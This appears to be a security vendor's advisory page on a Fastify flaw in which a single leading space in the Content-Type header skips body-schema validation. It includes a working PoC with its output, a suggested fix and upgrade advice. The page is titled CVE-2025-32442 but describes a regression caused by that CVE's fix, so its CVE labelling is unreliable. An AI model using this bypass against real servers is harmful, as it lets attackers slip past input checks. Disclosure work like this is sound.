CVE-2025-32442 is a high-severity (CVSS 7.5) CWE-1287 vulnerability in fastify. A fix is available for fastify — see the affected versions and patch details below.
Fastify vulnerable to invalid content-type parsing, which could lead to validation bypass
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-32442.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2025-32442 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
fastifynpmDescription
Summary
A validation bypass vulnerability exists in Fastify v5.x where request body validation schemas specified via schema.body.content can be completely circumvented by prepending a single space character (\x20) to the Content-Type header. The body is still parsed correctly as JSON (or any other content type), but schema validation is entirely skipped.
This is a regression introduced by commit f3d2bcb (fix for CVE-2025-32442).
Details
The vulnerability is a parser-validator differential between two independent code paths that process the raw Content-Type header differently.
Parser path (lib/content-type.js, line ~67) applies trimStart() before processing:
const type = headerValue.slice(0, sepIdx).trimStart().toLowerCase()
// ' application/json' → trimStart() → 'application/json' → body is parsed ✓
Validator path (lib/validation.js, line 272) splits on /[ ;]/ before trimming:
function getEssenceMediaType(header) {
if (!header) return ''
return header.split(/[ ;]/, 1)[0].trim().toLowerCase()
}
// ' application/json'.split(/[ ;]/, 1) → [''] (splits on the leading space!)
// ''.trim() → ''
// context[bodySchema][''] → undefined → NO validator found → validation skipped!
The ContentType class applies trimStart() before processing, so the parser correctly identifies application/json and parses the body. However, getEssenceMediaType splits on /[ ;]/ before trimming, so the leading space becomes a split point, producing an empty string. The validator looks up a schema for content-type "", finds nothing, and skips validation entirely.
Regression source: Commit f3d2bcb (April 18, 2025) changed the split delimiter from ';' to /[ ;]/ to fix CVE-2025-32442. The old code (header.split(';', 1)[0].trim()) was not vulnerable to this vector because .trim() would correctly handle the leading space. The new regex-based split introduced the regression.
PoC
const fastify = require('fastify')({ logger: false });
fastify.post('/transfer', {
schema: {
body: {
content: {
'application/json': {
schema: {
type: 'object',
required: ['amount', 'recipient'],
properties: {
amount: { type: 'number', maximum: 1000 },
recipient: { type: 'string', maxLength: 50 },
admin: { type: 'boolean', enum: [false] }
},
additionalProperties: false
}
}
}
}
}
}, async (request) => {
return { processed: true, data: request.body };
});
(async () => {
await fastify.ready();
// BLOCKED — normal request with invalid payload
const res1 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': 'application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Normal:', res1.statusCode);
// → 400 FST_ERR_VALIDATION
// BYPASS — single leading space
const res2 = await fastify.inject({
method: 'POST',
url: '/transfer',
headers: { 'content-type': ' application/json' },
payload: JSON.stringify({ amount: 9999, recipient: 'EVIL', admin: true })
});
console.log('Leading space:', res2.statusCode);
// → 200 (validation bypassed!)
console.log('Body:', res2.body);
await fastify.close();
})();
Output:
Normal: 400
Leading space: 200
Body: {"processed":true,"data":{"amount":9999,"recipient":"EVIL","admin":true}}
Impact
Any Fastify application that relies on <code>schema.body.content</code> (per-content-type body validation) to enforce data integrity or security constraints is affected. An attacker can bypass all body validation by adding a single space before the Content-Type value. The attack requires no authentication and has zero complexity — it is a single-character modification to an HTTP header. This vulnerability is distinct from all previously patched content-type bypasses:
| CVE | Vector | Patched in 5.8.4? |
|---|---|---|
| CVE-2025-32442 | Casing / semicolon whitespace | ✅ Yes |
| CVE-2026-25223 | Tab character (\t) | ✅ Yes |
| CVE-2026-3419 | Trailing garbage after subtype | ✅ Yes |
| This finding | Leading space (\x20) | ❌ No |
Recommended fix — add trimStart() before the split in getEssenceMediaType:
function getEssenceMediaType(header) {
if (!header) return ''
return header.trimStart().split(/[ ;]/, 1)[0].trim().toLowerCase()
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | fastify | ≥ 5.3.2&&< 5.8.5 | 5.8.5npm install fastify@5.8.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fastify, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fastify to 5.8.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-32442 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-32442 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2025-32442. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2025-32442 in your dependencies?
O3 Security finds CVE-2025-32442 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.